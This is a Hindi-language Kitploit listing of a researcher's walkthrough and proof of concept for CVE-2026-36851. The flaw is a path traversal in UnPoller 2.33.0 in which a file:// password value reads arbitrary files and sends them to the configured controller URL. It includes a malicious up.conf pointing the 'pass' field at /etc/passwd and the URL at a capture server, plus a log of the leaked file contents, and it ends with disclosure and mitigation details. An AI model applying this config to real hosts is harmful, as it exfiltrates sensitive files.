Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-36851 — UnPoller 2.33.0 के लिए फ़ाइल पथ ट्रैवर्सल भेद्यता (CVE-2026-36851) का वॉकथ्रू और PoC | Kitploit
उपकरण/GitHubGitHub/syntaxsaiyan/cve-2026-36851
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणडेटा निष्कासनपेपर और शोधलर्निंग और शिक्षा
GitHubsyntaxsaiyan/cve-2026-36851

CVE-2026-36851

UnPoller 2.33.0 के लिए फ़ाइल पथ ट्रैवर्सल भेद्यता (CVE-2026-36851) का वॉकथ्रू और PoC

रिपॉजिटरी देखें
1 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-36851

UnPoller v2.33.0 में file:// पासवर्ड उपसर्ग के माध्यम से पाथ ट्रैवर्सल / मनमाना फ़ाइल पठन। प्रमाणीकरण के दौरान फ़ाइल सामग्री डिस्क से पढ़ी जाती है और कॉन्फ़िगर किए गए UniFi कंट्रोलर URL पर प्रसारित की जाती है।

CVECVE-2026-36851
उत्पादUnPoller v2.33.0 (पुराने संस्करण भी प्रभावित हो सकते हैं)
कमज़ोरीCWE-22 (पाथ ट्रैवर्सल), CWE-20 (अनुचित इनपुट सत्यापन)
CVSS 3.17.5 उच्च — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
रिपोर्टकर्ताHector Diaz

सारांश

UnPoller क्रेडेंशियल को फ़ाइल से लोड करने का समर्थन करता है जब कॉन्फ़िग मान file:// से शुरू होता है। यह व्यवहार Docker परिनियोजन के लिए प्रलेखित है जहाँ ऑपरेटर पासवर्ड को प्लेन-टेक्स्ट कॉन्फ़िग फ़ाइलों के बाहर रखना चाहते हैं। कार्यान्वयन यह प्रतिबंधित नहीं करता कि कौन सा पथ पढ़ा जा सकता है — प्रक्रिया जिस भी फ़ाइल तक पहुँच सकती है वह मान्य इनपुट है। उन सामग्रियों को फिर उसी कॉन्फ़िगरेशन फ़ाइल में url पर सेट किए गए कंट्रोलर पर /api/login के लिए JSON POST में नेटवर्क पर भेजा जाता है।

यह संयोजन स्थानीय फ़ाइल-पठन प्रिमिटिव को नेटवर्क बहिर्गमन चैनल में बदल देता है: up.conf पर लेखन पहुँच रखने वाला हमलावर url को अपने नियंत्रण वाले सर्वर पर इंगित कर सकता है और उन फ़ाइलों पर सीधे पढ़ने की अनुमति के बिना संवेदनशील फ़ाइलों को बार-बार लीक कर सकता है।


पृष्ठभूमि

मैं अपने होमलैब में UnPoller चलाता हूँ — Proxmox LXC पर Docker — अपने बाकी स्टैक के साथ Grafana में UniFi मेट्रिक्स निर्यात करने के लिए। मैं सामान्य वेब कमज़ोरियों के लिए ओपन-सोर्स प्रोजेक्ट्स की समीक्षा कर रहा था। UnPoller के पास न्यूनतम उपयोगकर्ता-सामना वाली वेब सतह है, इसलिए XSS एक मृत अंत था। उदाहरण कॉन्फ़िगरेशन वहीं है जहाँ खोज शुरू हुई:

root@kitploit:~
pass = "file:///path/to/password.file"

आशय उचित है: पासवर्ड को up.conf में एम्बेड करने के बजाय एक सीक्रेट्स फ़ाइल को संदर्भित करना। मेरा प्रश्न यह था कि क्या UnPoller उस पथ को मान्य करता है — या किसी भी file:// मान को शाब्दिक फ़ाइलसिस्टम पॉइंटर के रूप में मानता है।

pkg/inputunifi/input.go (और influxunifi, lokiunifi में समान हैंडलिंग) में स्रोत का पता लगाने से पता चलता है कि कोई व्हाइटलिस्ट नहीं है। जब pass या api_key file:// से शुरू होता है, तो उपसर्ग हटा दिया जाता है और os.ReadFile() पूरी फ़ाइल सामग्री को UniFi प्रमाणीकरण के लिए उपयोग किए जाने वाले क्रेडेंशियल फ़ील्ड में लोड करता है।


प्रभाव

गोपनीयता: UnPoller होस्ट पर मनमानी पठनीय फ़ाइलें बहिर्गमित की जा सकती हैं — जैसे /etc/passwd, /proc/version, /etc/hosts, एप्लिकेशन कॉन्फ़िग, और प्रक्रिया अनुमतियों के आधार पर संभावित रूप से कुंजी सामग्री।

हमले की पूर्वापेक्षाएँ: UnPoller कॉन्फ़िगरेशन (सामान्यतः up.conf) पर लेखन पहुँच। कॉन्फ़िग संशोधित होने के बाद पठन ट्रिगर करने के लिए कोई UniFi क्रेडेंशियल आवश्यक नहीं हैं।

यह स्थानीय व्यवस्थापक पहुँच से परे क्यों मायने रखता है: साझा होस्टिंग, गलत कॉन्फ़िगर किए गए Kubernetes, या समझौता किए गए साइडकार परिदृश्यों में, निम्न-विशेषाधिकार वाला अभिकर्ता सेवा कॉन्फ़िग को संशोधित करने में सक्षम हो सकता है बिना संवेदनशील फ़ाइलों को सीधे पढ़ने में सक्षम हुए। यह व्यवहार UnPoller को फ़ाइल पढ़ने और उसे बाहर की ओर प्रसारित करने द्वारा उस अंतर को पाटता है।

दायरे से बाहर: रिमोट कोड निष्पादन, अखंडता, या उपलब्धता — यह एक स्पष्ट बहिर्गमन पथ के साथ सूचना प्रकटीकरण समस्या है।


प्रूफ़ ऑफ़ कॉन्सेप्ट

Docker Compose के साथ Debian-आधारित Proxmox LXC पर ghcr.io/unpoller/unpoller:latest (v2.33.0) के विरुद्ध परीक्षण किया गया।

क्या काम नहीं किया

पर्यावरण चर के माध्यम से UP_UNIFI_DEFAULT_PASS="file:///etc/passwd" सेट करने से मेरे परिनियोजन में यह व्यवहार ट्रिगर नहीं हुआ। माउंट की गई कॉन्फ़िग फ़ाइल प्रभावी सत्य का स्रोत थी।

क्या काम किया

मैंने UnPoller को अपने प्रोडक्शन UniFi कंट्रोलर के बजाय अपने नियंत्रण वाले कैप्चर सर्वर की ओर इंगित करने के लिए up.conf संपादित किया:

root@kitploit:~
[unifi.defaults]
  url = "https://x.x.x.x:8443"
  user = "admin"
  pass = "file:///etc/passwd"

docker restart unpoller के बाद, कंटेनर ने हर ~30 सेकंड में पोर्ट 8443 पर मेरे लिसनर से जुड़ना शुरू कर दिया।

बहिर्गमन को कैप्चर करना

मेरे पहले कैप्चर सर्वर ने HTTP हेडर लॉग किए और Authorization: Basic ... क्रेडेंशियल देखे। UnPoller ने बिना Authorization हेडर के POST /api/login अनुरोध भेजे — UniFi का API बॉडी में JSON की अपेक्षा करता है:

root@kitploit:~
{"username": "admin", "password": "..."}

मैंने लिसनर को Content-Length पढ़ने, POST बॉडी को पार्स करने और JSON लॉग करने के लिए अपडेट किया। एक मिनट के भीतर, /etc/passwd पासवर्ड फ़ील्ड में दिखाई दिया:

/etc/passwd लॉगिन POST बॉडी में लीक हुआ

लॉग अंश:

root@kitploit:~
🎯 POST BODY: b'{"username":"admin","password":"root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin"}'

वही कॉन्फ़िगरेशन पैटर्न /proc/version (कर्नेल/बिल्ड फ़िंगरप्रिंटिंग) के लिए काम किया:

/proc/version लॉगिन POST बॉडी में लीक हुआ

उदाहरण दुर्भावनापूर्ण कॉन्फ़िग: poc/up.conf.example


प्रकटीकरण समयरेखा

दिनांकघटना
2026-02-28होमलैब में खोजा और पुष्टि की गई
2026-03-01विक्रेता को सूचित किया गया (Discord)

UnPoller अनुरक्षक ने file:// व्यवहार को Docker उपयोगकर्ताओं के लिए एक जानबूझकर सुविधा के रूप में स्वीकार किया और कॉन्फ़िग संपादक और प्रक्रिया उपयोगकर्ता के बीच विशेषाधिकार पृथक्करण के बिना शोषण क्षमता पर प्रश्न उठाया। MITRE ने फिर भी एक CVE पहचानकर्ता आवंटित किया।


निवारण

ऑपरेटरों के लिए

  • up.conf और कॉन्फ़िग माउंट को संवेदनशील मानें; लेखन पहुँच प्रतिबंधित करें।
  • सुनिश्चित करें कि UnPoller केवल विश्वसनीय UniFi कंट्रोलर एंडपॉइंट तक पहुँच सके।
  • फिक्स उपलब्ध होने तक मनमाने file:// पथों के बजाय Docker secrets, Kubernetes secrets, या पर्यावरण-आधारित क्रेडेंशियल इंजेक्शन को प्राथमिकता दें।

डेवलपर्स के लिए

  • क्रेडेंशियल फ़ील्ड से अप्रतिबंधित file:// हैंडलिंग हटाएं, या एक सख्त पथ व्हाइटलिस्ट लागू करें (जैसे केवल /etc/unpoller/secrets/ के अंतर्गत)।
  • जब कॉन्फ़िगर किया गया सीक्रेट्स फ़ाइल पढ़ी नहीं जा सकती तो बंद विफल करें — चुपचाप खाली पासवर्ड न डालें।
  • यदि फ़ाइल-आधारित क्रेडेंशियल समर्थित रहते हैं तो खतरे के मॉडल का दस्तावेज़ीकरण करें।

संदर्भ

  • CVE-2026-36851
  • UnPoller
  • CWE-22 · CWE-20

लाइसेंस

MIT — LICENSE देखें। इस रिपॉजिटरी में प्रूफ़-ऑफ़-कॉन्सेप्ट सामग्री केवल अधिकृत सुरक्षा अनुसंधान और शिक्षा के लिए प्रदान की गई है। उन प्रणालियों के विरुद्ध उपयोग न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है।


Hector Diaz · LinkedIn · hectordiaz.net

टूल डाउनलोड करें
2026-03-02
MITRE CVE अनुरोध प्रस्तुत किया गया
2026-06-05CVE-2026-36851 आवंटित
2026-07-03सार्वजनिक विवरण प्रकाशित